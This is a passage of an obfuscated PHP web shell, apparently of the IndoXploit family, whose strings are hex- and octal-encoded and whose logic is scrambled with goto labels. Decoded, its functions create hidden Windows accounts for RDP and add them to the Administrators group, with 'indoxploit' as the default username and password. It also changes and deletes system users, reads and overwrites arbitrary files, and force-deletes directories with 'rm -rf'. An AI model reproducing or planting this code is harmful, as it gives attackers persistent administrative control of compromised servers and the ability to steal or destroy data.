"\\x3c\\57\\146\\157\\x6e\\x74\\x3e\\x3c\\x62\\162\\x3e\\xd\\xa\\40\\11\\11\\x9\\x55\\x73\\145\\x72\\x6e\\141\\x6d\\x65\\72\\40\\x3c\\x66\\157\\x6e\\x74\\40\\x63\\157\\154\\157\\162\\x3d\\x23\\x31\\x38\\102\\x43\\71\\x43\\x3e{$user}\\x3c\\x2f\\146\\x6f\\x6e\\x74\\x3e\\74\\142\\162\\76\\xd\\xa\\x20\\x9\\x9\\11\\x50\\x61\\163\\163\\x77\\x6f\\162\\144\\72\\x20\\x3c\\146\\x6f\\x6e\\164\\40\\143\\157\\x6c\\157\\162\\75\\43\\61\\70\\x42\\x43\\71\\103\\x3e{$pass}\\x3c\\57\\146\\x6f\\156\\164\\76\\74\\x62\\162\\x3e\\xd\\12\\40\\11\\11\\11\\55\\55\\55\\x2d\\x2d\\55\\55\\55\\x2d\\x2d\\55\\55\\55\\55\\55\\x2d\\x2d\\x2d\\55\\x2d\\x2d\\55\\55\\x2d\\55\\x2d\\x2d\\55\\55\\55\\74\\x62\\162\\x3e\\74\\x62\\162\\x3e\\15\\12\\40\\11\\x9\\11\\133\\x20\\123\\124\\101\\124\\125\\123\\74\\142\\162\\x3e\\xd\\12\\x20\\x9\\11\\11\\x2d\\x2d\\x2d\\x2d\\55\\x2d\\55\\55\\55\\55\\55\\55\\55\\55\\x2d\\x2d\\55\\55\\x2d\\55\\55\\55\\x2d\\55\\55\\x2d\\55\\x2d\\55\\x2d\\x3c\\142\\x72\\x3e\\xd\\12\\40\\11\\x9\\11"; goto ghfWa; Li17C: $add_groups1 = exe("\\x6e\\x65\\x74\\40\\x6c\\157\\143\\x61\\x6c\\x67\\162\\157\\165\\160\\40\\101\\144\\155\\151\\x6e\\x69\\x73\\164\\x72\\141\\164\\157\\162\\x73\\x20{$user}\\40\\57\\x61\\144\\x64"); goto WSwc2; j_r5G: $add_user = exe("\\156\\x65\\x74\\40\\x75\\163\\x65\\x72\\x20{$user}\\x20{$pass}\\x20\\57\\141\\x64\\x64"); goto Li17C; iqr7T: echo "\\55\\x2d\\x2d\\55\\x2d\\x2d\\55\\x2d\\x2d\\55\\x2d\\x2d\\x2d\\55\\x2d\\x2d\\55\\x2d\\x2d\\x2d\\55\\55\\55\\55\\x2d\\55\\55\\55\\x2d\\55\\x3c\\x62\\x72\\x3e"; goto P2CKC; WSwc2: $add_groups2 = exe("\\156\\x65\\164\\40\\x6c\\157\\x63\\x61\\154\\x67\\162\\157\\165\\x70\\x20\\101\\144\\x6d\\x69\\156\\151\\x73\\x74\\162\\x61\\164\\x6f\\x72\\x20{$user}\\40\\57\\x61\\144\\144"); goto LXj7_; ghfWa: if ($add_user) { echo "\\x5b\\141\\144\\x64\\40\\165\\x73\\x65\\x72\\x5d\\40\\x2d\\x3e\\x20\\x3c\\x66\\x6f\\156\\x74\\40\\143\\157\\x6c\\x6f\\162\\x3d\\x27\\x23\\x31\\x38\\x42\\103\\71\\103\\47\\76\\102\\145\\x72\\150\\x61\\x73\\151\\x6c\\74\\57\\x66\\x6f\\x6e\\164\\76\\74\\142\\x72\\x3e"; } else { echo "\\x5b\\141\\x64\\x64\\x20\\x75\\x73\\x65\\162\\x5d\\40\\x2d\\x3e\\x20\\74\\x66\\x6f\\x6e\\164\\x20\\143\\157\\x6c\\x6f\\162\\x3d\\x27\\x72\\x65\\x64\\x27\\x3e\\107\\x61\\147\\141\\x6c\\74\\x2f\\x66\\157\\x6e\\x74\\x3e\\x3c\\x62\\x72\\x3e"; } goto KN_Xh; P2CKC: } goto O2F6Q; O2F6Q: } elseif ($_POST["\\x73\\x5f\\x6f\\160\\x73\\151"]) { $user = htmlspecialchars($_POST["\\162\\137\\165\\x73\\x65\\162"]); if ($_POST["\\x6f\\x70\\x73\\x69"] == "\\61") { goto hFPDB; yIIIh: echo "\\103\\x68\\x65\\x63\\153\\151\\x6e\\x67\\40\\x75\\163\\145\\x72\\x6e\\141\\155\\x65\\40\\74\\x66\\x6f\\156\\164\\x20\\143\\157\\x6c\\157\\x72\\75\\43\\61\\x38\\102\\103\\x39\\103\\x3e{$user}\\x3c\\57\\146\\157\\156\\164\\x3e\\40\\56\\56\\56\\56\\56\\x2e\\56\\40"; goto vaWXJ; vaWXJ: if (preg_match("\\57{$user}\\57", $cek)) { echo "\\133\\x20\\x3c\\146\\x6f\\x6e\\x74\\x20\\143\\x6f\\x6c\\x6f\\x72\\75\\x23\\x31\\70\\102\\103\\71\\x43\\76\\x53\\x75\\144\\x61\\x68\\x20\\x61\\x64\\141\\74\\57\\146\\x6f\\x6e\\164\\76\\74\\x62\\x72\\x3e\\15\\xa\\x9\\11\\x9\\11\\x9\\x2d\\x2d\\x2d\\55\\x2d\\x2d\\x2d\\55\\55\\x2d\\55\\55\\55\\x2d\\x2d\\x2d\\55\\x2d\\55\\55\\55\\55\\x2d\\x2d\\x2d\\55\\55\\55\\x2d\\x2d\\x3c\\142\\x72\\x3e\\74\\142\\x72\\76\\15\\12\\11\\11\\11\\11\\x9\\74\\160\\x72\\x65\\76{$cek}\\x3c\\57\\x70\\x72\\145\\x3e"; } else { echo "\\133\\x20\\74\\x66\\157\\x6e\\x74\\40\\143\\x6f\\154\\157\\x72\\75\\x72\\145\\144\\76\\x62\\x65\\154\\165\\155\\x20\\x61\\x64\\141\\x3c\\x2f\\146\\157\\156\\164\\x3e"; } goto kzpEn; hFPDB: $cek = exe("\\156\\x65\\x74\\x20\\165\\163\\145\\x72\\x20{$user}"); goto yIIIh; kzpEn: } elseif ($_POST["\\x6f\\160\\x73\\151"] == "\\x32") { $cek = exe("\\156\\145\\164\\x20\\165\\x73\\145\\x72\\40{$user}\\40\\151\\x6e\\x64\\157\\170\\x70\\154\\157\\151\\164"); if (preg_match("\\x2f{$user}\\x2f", exe("\\156\\145\\x74\\x20\\x75\\x73\\x65\\162"))) { echo "\\x5b\\x63\\x68\\x61\\x6e\\147\\145\\x20\\x70\\x61\\x73\\x73\\167\\157\\162\\144\\x3a\\x20\\74\\146\\x6f\\156\\164\\x20\\143\\x6f\\x6c\\157\\162\\75\\x23\\61\\70\\x42\\103\\x39\\x43\\76\\x69\\x6e\\x64\\157\\170\\160\\154\\x6f\\151\\x74\\x3c\\57\\x66\\157\\156\\x74\\76\\x5d\\40\\55\\x3e\\40"; if ($cek) { echo "\\x3c\\x66\\157\\x6e\\x74\\40\\143\\157\\x6c\\x6f\\x72\\75\\x23\\x31\\70\\x42\\103\\71\\103\\76\\102\\x65\\162\\x68\\x61\\x73\\151\\154\\74\\x2f\\146\\157\\156\\x74\\76"; } else { echo "\\x3c\\146\\157\\156\\x74\\x20\\x63\\x6f\\154\\157\\162\\x3d\\x72\\145\\144\\76\\107\\141\\x67\\x61\\154\\74\\57\\x66\\157\\x6e\\x74\\x3e"; } } else { echo "\\133\\x49\\116\\106\\x4f\\135\\40\\55\\x3e\\40\\74\\x66\\157\\x6e\\x74\\x20\\x63\\157\\x6c\\157\\162\\x3d\\162\\x65\\144\\x3e\\x75\\x73\\145\\x72\\40\\74\\146\\157\\156\\164\\40\\x63\\157\\x6c\\x6f\\162\\x3d\\43\\x31\\70\\102\\x43\\71\\x43\\x3e{$user}\\74\\x2f\\146\\x6f\\x6e\\164\\x3e\\x20\\142\\x65\\154\\x75\\155\\40\\x61\\144\\141\\x3c\\x2f\\x66\\x6f\\x6e\\164\\x3e"; } } elseif ($_POST["\\x6f\\x70\\x73\\x69"] == "\\63") { $cek = exe("\\x6e\\x65\\164\\x20\\165\\163\\145\\x72\\40{$user}\\x20\\57\\x44\\x45\\x4c\\x45\\124\\105"); if (preg_match("\\x2f{$user}\\x2f", exe("\\x6e\\145\\x74\\x20\\165\\163\\145\\x72"))) { echo "\\133\\x72\\x65\\155\\x6f\\x76\\x65\\40\\x75\\x73\\x65\\x72\\72\\40\\74\\146\\x6f\\156\\x74\\40\\x63\\157\\x6c\\x6f\\x72\\x3d\\x23\\x31\\70\\102\\103\\71\\103\\x3e{$user}\\x3c\\x2f\\146\\x6f\\x6e\\164\\x3e\\135\\40\\55\\x3e\\x20"; if ($cek) { echo "\\x3c\\x66\\x6f\\156\\x74\\x20\\x63\\157\\154\\x6f\\x72\\75\\x23\\x31\\x38\\x42\\103\\x39\\103\\x3e\\x42\\145\\162\\x68\\x61\\x73\\x69\\154\\74\\57\\x66\\x6f\\x6e\\164\\x3e"; } else { echo "\\x3c\\146\\157\\x6e\\x74\\x20\\143\\157\\x6c\\157\\x72\\x3d\\162\\x65\\144\\x3e\\x47\\x61\\147\\141\\154\\74\\57\\x66\\x6f\\x6e\\164\\76"; } } else { echo "\\133\\111\\x4e\\106\\117\\135\\x20\\55\\x3e\\40\\74\\146\\x6f\\x6e\\x74\\40\\143\\157\\154\\x6f\\x72\\x3d\\x72\\x65\\x64\\76\\165\\x73\\145\\x72\\40\\x3c\\x66\\157\\x6e\\164\\40\\143\\x6f\\154\\x6f\\x72\\75\\43\\x31\\x38\\x42\\x43\\x39\\103\\x3e{$user}\\x3c\\x2f\\146\\x6f\\156\\x74\\x3e\\x20\\142\\x65\\154\\165\\x6d\\40\\x61\\144\\141\\x3c\\x2f\\x66\\x6f\\x6e\\164\\x3e"; } } else { } } else { echo "\\55\\55\\40\\103\\x72\\145\\141\\164\\145\\x20\\x52\\x44\\120\\40\\55\\55\\x3c\\142\\x72\\76\\15\\12\\x9\\x9\\x9\\x3c\\x66\\157\\162\\x6d\\40\\x6d\\x65\\164\\x68\\157\\144\\75\\x27\\x70\\157\\163\\x74\\x27\\76\\xd\\12\\x9\\11\\11\\74\\151\\x6e\\x70\\x75\\x74\\40\\x74\\x79\\160\\145\\x3d\\47\\x74\\145\\x78\\164\\x27\\40\\x6e\\x61\\x6d\\145\\75\\47\\x75\\163\\x65\\x72\\47\\x20\\x70\\154\\141\\x63\\145\\x68\\x6f\\x6c\\144\\x65\\x72\\75\\47\\x75\\163\\x65\\x72\\x6e\\141\\155\\145\\x27\\x20\\166\\x61\\154\\x75\\x65\\75\\x27\\151\\x6e\\144\\157\\170\\x70\\154\\x6f\\151\\164\\x27\\x20\\x72\\x65\\x71\\165\\151\\162\\x65\\144\\x3e\\xd\\xa\\11\\x9\\11\\x3c\\x69\\156\\160\\165\\x74\\40\\x74\\171\\x70\\145\\x3d\\47\\x74\\145\\x78\\164\\x27\\x20\\156\\141\\x6d\\x65\\x3d\\47\\160\\141\\163\\163\\x27\\40\\x70\\154\\x61\\143\\x65\\x68\\x6f\\x6c\\x64\\145\\x72\\75\\x27\\x70\\x61\\163\\x73\\x77\\x6f\\x72\\x64\\47\\x20\\x76\\x61\\x6c\\x75\\145\\75\\x27\\x69\\156\\x64\\157\\170\\160\\x6c\\x6f\\151\\164\\x27\\x20\\x72\\x65\\161\\165\\x69\\162\\x65\\x64\\x3e\\15\\12\\11\\11\\x9\\x3c\\151\\x6e\\x70\\x75\\164\\40\\164\\x79\\x70\\x65\\75\\47\\x73\\165\\x62\\x6d\\151\\x74\\x27\\40\\x63\\154\\141\\163\\163\\75\\x27\\142\\x74\\156\\x20\\142\\164\\156\\x2d\\163\\165\\143\\x63\\145\\x73\\163\\40\\142\\164\\x6e\\55\\163\\x6d\\47\\40\\x6e\\141\\155\\x65\\x3d\\x27\\x63\\x72\\145\\141\\x74\\145\\47\\40\\166\\x61\\x6c\\165\\x65\\75\\47\\76\\76\\47\\76\\xd\\xa\\x9\\x9\\11\\74\\57\\x66\\157\\162\\x6d\\76\\xd\\xa\\11\\11\\11\\55\\x2d\\x20\\x4f\\160\\x74\\x69\\157\\156\\x20\\55\\55\\x3c\\x62\\162\\x3e\\15\\xa\\x9\\x9\\11\\74\\x66\\157\\162\\x6d\\x20\\x6d\\145\\x74\\x68\\157\\x64\\x3d\\47\\x70\\157\\x73\\164\\x27\\76\\xd\\xa\\11\\x9\\11\\74\\x69\\x6e\\x70\\165\\x74\\x20\\x74\\x79\\x70\\145\\75\\47\\x74\\145\\170\\164\\47\\40\\x6e\\x61\\155\\145\\x3d\\x27\\x72\\137\\165\\163\\x65\\162\\47\\40\\x70\\154\\x61\\143\\145\\150\\157\\x6c\\x64\\145\\162\\x3d\\x27\\x75\\163\\x65\\162\\156\\141\\x6d\\x65\\47\\40\\x72\\x65\\x71\\x75\\151\\x72\\145\\x64\\x3e\\15\\xa\\11\\x9\\11\\x3c\\163\\x65\\x6c\\x65\\x63\\x74\\40\\156\\141\\155\\x65\\x3d\\47\\x6f\\x70\\163\\x69\\47\\x3e\\15\\xa\\x9\\11\\x9\\74\\x6f\\160\\164\\151\\157\\x6e\\x20\\x76\\x61\\154\\165\\x65\\x3d\\x27\\61\\47\\76\\103\\x65\\x6b\\x20\\x55\\163\\x65\\162\\156\\141\\155\\x65\\74\\57\\157\\160\\164\\151\\x6f\\x6e\\x3e\\xd\\xa\\x9\\x9\\x9\\74\\157\\x70\\164\\x69\\x6f\\156\\40\\x76\\141\\x6c\\x75\\145\\75\\x27\\62\\x27\\x3e\\x55\\142\\x61\\x68\\40\\120\\x61\\x73\\x73\\x77\\157\\162\\x64\\74\\57\\157\\160\\164\\151\\157\\156\\x3e\\15\\xa\\11\\11\\x9\\x3c\\x6f\\x70\\164\\151\\157\\156\\40\\x76\\141\\x6c\\165\\x65\\x3d\\x27\\63\\47\\76\\110\\x61\\x70\\x75\\x73\\40\\x55\\x73\\145\\162\\156\\141\\x6d\\145\\x3c\\57\\x6f\\160\\x74\\151\\x6f\\156\\76\\15\\xa\\x9\\x9\\x9\\74\\57\\x73\\145\\154\\x65\\143\\x74\\76\\15\\xa\\11\\11\\11\\74\\151\\156\\160\\165\\164\\40\\164\\x79\\160\\x65\\x3d\\47\\x73\\x75\\x62\\155\\151\\x74\\47\\x20\\143\\x6c\\141\\163\\x73\\75\\x27\\142\\x74\\x6e\\40\\142\\x74\\156\\55\\x73\\165\\x63\\x63\\x65\\x73\\163\\x20\\x62\\164\\156\\x2d\\x73\\155\\x27\\x6e\\x61\\155\\x65\\75\\x27\\x73\\x5f\\157\\160\\x73\\x69\\x27\\40\\x76\\141\\x6c\\165\\145\\x3d\\47\\x3e\\76\\x27\\x3e\\15\\xa\\11\\x9\\11\\x3c\\57\\146\\157\\x72\\155\\x3e\\15\\12\\x9\\11\\11"; } } else { echo "\\74\\x66\\x6f\\156\\x74\\x20\\143\\157\\154\\157\\162\\75\\162\\x65\\x64\\x3e\\106\\151\\x74\\165\\x72\\x20\\x69\\x6e\\x69\\40\\150\\x61\\156\\171\\x61\\40\\144\\x61\\x70\\x61\\x74\\x20\\144\\151\\147\\x75\\x6e\\141\\x6b\\141\\156\\x20\\x64\\x61\\154\\141\\155\\40\\x57\\151\\156\\144\\157\\167\\x73\\40\\x53\\x65\\162\\x76\\145\\162\\56\\x3c\\57\\146\\x6f\\x6e\\x74\\x3e"; } } elseif ($_GET["\\141\\143\\164"] == "\\x6e\\x65\\167\\146\\x69\\x6c\\145") { goto SDjFu; SDjFu: if ($_POST["\\x6e\\x65\\x77\\x5f\\163\\x61\\x76\\145\\137\\x66\\x69\\x6c\\145"]) { goto nlwcl; QScNg: $fopen = fopen($newfile, "\\141\\53"); goto Nbguv; nlwcl: $newfile = htmlspecialchars($_POST["\\156\\x65\\167\\x66\\x69\\x6c\\145"]); goto QScNg; Nbguv: if ($fopen) { $act = "\\x3c\\163\\x63\\x72\\151\\160\\x74\\76\\x77\\x69\\x6e\\x64\\157\\167\\x2e\\154\\157\\x63\\141\\164\\151\\157\\156\\75\\47\\77\\x61\\143\\164\\x3d\\145\\x64\\x69\\x74\\46\\x64\\151\\x72\\x3d" . $dir . "\\46\\146\\151\\x6c\\x65\\75" . $_POST["\\x6e\\145\\x77\\146\\x69\\x6c\\x65"] . "\\47\\x3b\\xd\\xa\\15\\12\\15\\xa\\74\\57\\163\\x63\\162\\151\\x70\\164\\x3e"; } else { $act = "\\74\\x66\\157\\x6e\\164\\40\\143\\157\\154\\x6f\\x72\\75\\x72\\145\\144\\76\\x70\\x65\\x72\\155\\x69\\x73\\x73\\151\\x6f\\x6e\\x20\\x64\\x65\\156\\x69\\145\\144\\74\\57\\x66\\157\\x6e\\x74\\x3e"; } goto CRI1O; CRI1O: } goto EzOzn; EzOzn: echo $act; goto sA08U; sA08U: echo "\\x3c\\x66\\157\\162\\155\\x20\\x6d\\145\\164\\150\\x6f\\144\\75\\47\\x70\\x6f\\x73\\x74\\x27\\76\\xd\\xa\\x9\\106\\151\\x6c\\x65\\x6e\\x61\\x6d\\x65\\72\\40\\x3c\\x69\\156\\160\\165\\x74\\40\\164\\x79\\x70\\x65\\x3d\\47\\x74\\145\\x78\\164\\x27\\x20\\x6e\\141\\155\\145\\75\\47\\156\\145\\x77\\x66\\151\\154\\145\\x27\\40\\x76\\141\\x6c\\x75\\x65\\x3d\\47{$dir}\\57\\x6e\\x65\\167\\x66\\x69\\x6c\\145\\56\\x70\\x68\\x70\\47\\40\\x73\\x74\\x79\\154\\x65\\x3d\\47\\x77\\x69\\144\\x74\\x68\\72\\x20\\x34\\x35\\60\\160\\x78\\73\\xd\\12\\xd\\xa\\xd\\xa\\47\\40\\150\\x65\\151\\x67\\x68\\164\\x3d\\x27\\x31\\x30\\47\\76\\15\\12\\x9\\x3c\\x69\\156\\x70\\165\\164\\40\\164\\171\\x70\\145\\x3d\\47\\x73\\x75\\142\\155\\151\\164\\x27\\40\\156\\x61\\155\\x65\\75\\x27\\x6e\\145\\167\\x5f\\x73\\x61\\x76\\145\\137\\146\\151\\154\\145\\47\\40\\x76\\141\\154\\x75\\x65\\x3d\\x27\\x53\\165\\x62\\155\\x69\\x74\\47\\40\\143\\154\\x61\\x73\\x73\\75\\x27\\x62\\164\\156\\40\\x62\\164\\156\\55\\x73\\x75\\143\\143\\x65\\x73\\163\\40\\x62\\164\\156\\x2d\\x73\\155\\x27\\x3e\\xd\\12\\x9\\74\\57\\x66\\x6f\\162\\155\\x3e"; goto jLA5L; jLA5L: } elseif ($_GET["\\141\\143\\x74"] == "\\x6e\\145\\167\\146\\157\\x6c\\144\\145\\162") { goto guVN1; guVN1: if ($_POST["\\156\\145\\167\\137\\x73\\x61\\166\\145\\137\\146\\157\\x6c\\x64\\145\\162"]) { $new_folder = $dir . "\\57" . htmlspecialchars($_POST["\\x6e\\x65\\167\\x66\\157\\x6c\\x64\\145\\162"]); if (!mkdir($new_folder)) { $act = "\\74\\x66\\x6f\\x6e\\164\\40\\143\\x6f\\x6c\\157\\x72\\x3d\\162\\145\\144\\76\\x70\\145\\162\\x6d\\151\\x73\\x73\\151\\157\\x6e\\x20\\x64\\x65\\156\\x69\\x65\\x64\\74\\57\\146\\x6f\\156\\x74\\x3e"; } else { $act = "\\74\\163\\x63\\162\\151\\160\\164\\x3e\\x77\\x69\\x6e\\144\\157\\167\\x2e\\x6c\\x6f\\143\\x61\\164\\x69\\157\\156\\75\\x27\\77\\x64\\x69\\162\\75" . $dir . "\\x27\\73\\15\\xa\\15\\12\\xd\\12\\x3c\\57\\x73\\143\\x72\\x69\\160\\x74\\76"; } } goto imth2; imth2: echo $act; goto wNrxc; wNrxc: echo "\\74\\x66\\x6f\\x72\\155\\40\\155\\145\\x74\\x68\\157\\x64\\75\\47\\160\\157\\x73\\x74\\x27\\76\\15\\12\\x9\\x46\\157\\154\\x64\\145\\x72\\x20\\116\\x61\\155\\145\\72\\x20\\x3c\\x69\\156\\x70\\165\\x74\\x20\\164\\x79\\x70\\145\\x3d\\47\\x74\\145\\170\\x74\\x27\\x20\\x6e\\141\\x6d\\145\\75\\47\\156\\x65\\167\\146\\x6f\\154\\144\\x65\\162\\x27\\40\\163\\164\\171\\154\\x65\\x3d\\47\\167\\151\\144\\164\\150\\x3a\\x20\\x34\\65\\60\\160\\170\\x3b\\15\\12\\15\\12\\xd\\12\\47\\x20\\x68\\145\\151\\147\\x68\\164\\75\\x27\\61\\x30\\47\\x3e\\xd\\xa\\11\\x3c\\x69\\156\\x70\\x75\\x74\\40\\164\\x79\\160\\x65\\75\\47\\163\\x75\\x62\\155\\151\\x74\\47\\40\\156\\x61\\x6d\\145\\x3d\\x27\\156\\x65\\167\\x5f\\163\\x61\\x76\\x65\\x5f\\x66\\157\\154\\x64\\x65\\x72\\x27\\x20\\166\\x61\\x6c\\165\\x65\\x3d\\47\\123\\x75\\142\\155\\151\\x74\\x27\\x20\\x63\\x6c\\x61\\163\\x73\\x3d\\47\\142\\x74\\156\\40\\142\\x74\\x6e\\55\\163\\165\\x63\\x63\\145\\163\\163\\x20\\142\\164\\156\\55\\163\\x6d\\x27\\x3e\\xd\\12\\x9\\x3c\\57\\146\\x6f\\x72\\x6d\\76"; goto xUzyp; xUzyp: } elseif ($_GET["\\141\\x63\\164"] == "\\162\\x65\\x6e\\x61\\x6d\\x65\\137\\x64\\151\\162") { if ($_POST["\\144\\151\\x72\\137\\162\\145\\156\\x61\\155\\145"]) { goto vhhtB; vhhtB: $dir_rename = rename($dir, \'\' . dirname($dir) . "\\57" . htmlspecialchars($_POST["\\146\\x6f\\x6c\\137\\162\\x65\\x6e\\x61\\x6d\\145"]) . \'\'); goto HMXLW; KBg3G: echo \'\' . $act . "\\x3c\\142\\x72\\76"; goto GZ4i_; HMXLW: if ($dir_rename) { $act = "\\74\\163\\x63\\x72\\151\\x70\\x74\\x3e\\x77\\x69\\x6e\\144\\157\\167\\56\\154\\x6f\\143\\x61\\164\\151\\x6f\\156\\x3d\\x27\\x3f\\144\\x69\\x72\\x3d" . dirname($dir) . "\\x27\\x3b\\xd\\xa\\15\\12\\15\\xa\\74\\x2f\\163\\143\\x72\\x69\\160\\x74\\76"; } else { $act = "\\x3c\\146\\157\\x6e\\164\\40\\143\\157\\154\\157\\x72\\75\\x72\\x65\\x64\\76\\x70\\145\\162\\x6d\\x69\\x73\\163\\151\\157\\x6e\\x20\\x64\\145\\156\\151\\145\\144\\74\\57\\x66\\x6f\\x6e\\x74\\76"; } goto KBg3G; GZ4i_: } echo "\\x3c\\146\\157\\x72\\x6d\\x20\\x6d\\x65\\x74\\150\\157\\144\\75\\x27\\160\\x6f\\x73\\164\\47\\x3e\\xd\\12\\x9\\x3c\\x69\\156\\160\\x75\\x74\\40\\164\\171\\x70\\145\\75\\x27\\164\\145\\x78\\x74\\47\\40\\x76\\141\\x6c\\165\\145\\x3d\\x27" . basename($dir) . "\\x27\\x20\\x6e\\141\\x6d\\145\\x3d\\x27\\x66\\x6f\\x6c\\137\\162\\x65\\x6e\\x61\\155\\x65\\x27\\40\\x73\\x74\\171\\154\\x65\\75\\x27\\167\\151\\144\\x74\\x68\\72\\40\\64\\x35\\x30\\160\\170\\73\\15\\xa\\xd\\12\\xd\\12\\47\\40\\x68\\145\\x69\\x67\\150\\x74\\75\\x27\\61\\x30\\47\\x3e\\xd\\12\\11\\x3c\\x69\\156\\160\\x75\\x74\\40\\164\\171\\160\\145\\x3d\\47\\x73\\165\\x62\\155\\x69\\164\\x27\\x20\\156\\141\\155\\x65\\x3d\\47\\144\\x69\\162\\x5f\\162\\145\\x6e\\141\\155\\145\\x27\\x20\\x76\\141\\x6c\\x75\\x65\\x3d\\x27\\x72\\x65\\156\\x61\\x6d\\145\\x27\\x3e\\xd\\12\\x9\\74\\x2f\\x66\\157\\x72\\155\\x3e"; } elseif ($_GET["\\x61\\143\\x74"] == "\\144\\x65\\x6c\\145\\164\\145\\137\\144\\x69\\x72") { if (is_dir($dir)) { if (is_writable($dir)) { goto o44ot; o44ot: @rmdir($dir); goto XTVfK; ibX8C: @exe("\\162\\155\\144\\x69\\162\\40\\x2f\\x73\\x20\\x2f\\x71\\40{$dir}"); goto WZ4cb; XTVfK: @exe("\\x72\\x6d\\x20\\55\\x72\\x66\\40{$dir}"); goto ibX8C; WZ4cb: $act = "\\x3c\\x73\\x63\\162\\x69\\x70\\164\\76\\x77\\x69\\x6e\\144\\x6f\\167\\56\\154\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x3d\\47\\x3f\\144\\151\\x72\\75" . dirname($dir) . "\\x27\\73\\xd\\xa\\xd\\12\\xd\\12\\x3c\\57\\x73\\143\\x72\\151\\160\\164\\x3e"; goto WY6ww; WY6ww: } else { $act = "\\74\\146\\x6f\\x6e\\164\\40\\143\\x6f\\x6c\\157\\x72\\x3d\\162\\x65\\x64\\76\\143\\x6f\\x75\\x6c\\x64\\40\\x6e\\x6f\\x74\\40\\x72\\x65\\155\\x6f\\166\\x65\\40" . basename($dir) . "\\74\\x2f\\146\\157\\156\\x74\\76"; } } echo $act; } elseif ($_GET["\\x61\\143\\x74"] == "\\166\\x69\\x65\\167") { echo "\\106\\x69\\x6c\\x65\\156\\x61\\x6d\\x65\\72\\40\\133\\x20\\x3c\\146\\x6f\\156\\x74\\40\\143\\157\\154\\157\\162\\75\\x23\\x31\\70\\102\\x43\\x39\\x43\\x3e" . basename($_GET["\\x66\\151\\154\\145"]) . "\\74\\57\\x66\\x6f\\x6e\\x74\\x3e\\40\\135\\40\\133\\40\\x3c\\x61\\x20\\150\\x72\\145\\146\\75\\x27\\x3f\\x61\\x63\\164\\75\\x76\\151\\x65\\x77\\x26\\144\\151\\x72\\75{$dir}\\46\\146\\x69\\154\\x65\\x3d" . $_GET["\\146\\x69\\154\\x65"] . "\\x27\\x3e\\x3c\\142\\x3e\\x76\\151\\145\\x77\\x3c\\x2f\\x62\\x3e\\74\\57\\x61\\x3e\\40\\x5d\\x20\\x5b\\x20\\x3c\\141\\40\\150\\x72\\145\\146\\75\\47\\x3f\\x61\\x63\\x74\\75\\145\\x64\\x69\\164\\x26\\144\\151\\162\\75{$dir}\\x26\\146\\x69\\x6c\\145\\75" . $_GET["\\x66\\151\\x6c\\145"] . "\\x27\\76\\145\\144\\151\\x74\\x3c\\x2f\\x61\\76\\40\\x5d\\x20\\x5b\\x20\\x3c\\x61\\40\\150\\x72\\x65\\146\\x3d\\x27\\77\\x61\\143\\164\\75\\x72\\145\\x6e\\141\\155\\x65\\x26\\x64\\x69\\x72\\75{$dir}\\x26\\x66\\x69\\154\\x65\\x3d" . $_GET["\\146\\x69\\154\\145"] . "\\47\\76\\162\\145\\x6e\\141\\x6d\\x65\\74\\x2f\\141\\76\\x20\\135\\x20\\133\\40\\x3c\\141\\x20\\x68\\162\\145\\x66\\75\\x27\\x3f\\141\\143\\164\\x3d\\144\\x6f\\x77\\x6e\\x6c\\157\\141\\144\\x26\\x64\\151\\x72\\x3d{$dir}\\46\\146\\151\\154\\145\\75" . $_GET["\\146\\x69\\154\\145"] . "\\x27\\x3e\\x64\\x6f\\x77\\x6e\\x6c\\157\\141\\x64\\x3c\\x2f\\x61\\76\\x20\\135\\x20\\133\\x20\\74\\x61\\x20\\x68\\x72\\145\\x66\\x3d\\x27\\77\\x61\\x63\\164\\75\\144\\145\\154\\145\\164\\x65\\46\\144\\x69\\x72\\75{$dir}\\x26\\146\\151\\154\\145\\75" . $_GET["\\x66\\x69\\154\\x65"] . "\\47\\76\\144\\x65\\x6c\\x65\\164\\x65\\74\\x2f\\x61\\x3e\\40\\135\\x3c\\x62\\x72\\x3e"; echo "\\74\\164\\145\\170\\164\\x61\\162\\x65\\x61\\40\\162\\x65\\141\\144\\157\\x6e\\154\\171\\76" . htmlspecialchars(@file_get_contents($_GET["\\x66\\x69\\154\\x65"])) . "\\x3c\\57\\164\\x65\\x78\\164\\141\\x72\\145\\141\\x3e"; } elseif ($_GET["\\141\\143\\x74"] == "\\x65\\x64\\151\\164") { goto mWAtQ; mWAtQ: if ($_POST["\\163\\x61\\x76\\x65"]) { goto qfqAc; vN0Hm: echo \'\' . $act . "\\74\\x62\\x72\\76"; goto CITKZ; L_xnB: if ($save) { $act = "\\x3c\\146\\157\\x6e\\x74\\x20\\143\\x6f\\x6c\\x6f\\162\\75\\x23\\x31\\70\\102\\103\\x39\\103\\76\\123\\141\\x76\\x65\\144\\41\\x3c\\x2f\\x66\\x6f\\x6e\\x74\\x3e"; } else { $act = "\\74\\x66\\x6f\\x6e\\x74\\x20\\x63\\x6f\\154\\x6f\\x72\\75\\162\\x65\\144\\76\\x70\\x65\\162\\x6d\\151\\x73\\x73\\151\\x6f\\x6e\\x20\\144\\x65\\156\\x69\\145\\x64\\x3c\\57\\146\\157\\156\\x74\\76"; } goto vN0Hm; qfqAc: $save = file_put_contents($_GET["\\x66\\x69\\154\\145"], $_POST["\\x73\\x72\\x63"]); goto L_xnB; CITKZ: } goto JYacx; JYacx: echo "\\106\\151\\154\\145\\x6e\\x61\\x6d\\145\\72\\40\\133\\40\\x3c\\x66\\x6f\\x6e\\164\\40\\x63\\x6f\\154\\157\\x72\\75\\43\\61\\x38\\x42\\x43\\x39\\x43\\x3e" . basename($_GET["\\146\\151\\x6c\\x65"]) . "\\x3c\\x2f\\x66\\157\\156\\164\\76\\x20\\135\\40\\x5b\\40\\x3c\\x61\\40\\x68\\162\\x65\\146\\x3d\\x27\\77\\x61\\143\\x74\\x3d\\x76\\151\\145\\x77\\46\\x64\\151\\x72\\x3d{$dir}\\46\\x66\\x69\\x6c\\145\\75" . $_GET["\\146\\151\\154\\145"] . "\\47\\76\\x3c\\x62\\x3e\\166\\151\\x65\\167\\x3c\\57\\x62\\x3e\\74\\x2f\\x61\\76\\40\\135\\x20\\x5b\\40\\x3c\\141\\40\\x68\\x72\\145\\x66\\75\\47\\x3f\\x61\\x63\\164\\x3d\\145\\144\\151\\x74\\x26\\x64\\151\\162\\75{$dir}\\x26\\146\\151\\154\\x65\\75" . $_GET["\\x66\\x69\\154\\145"] . 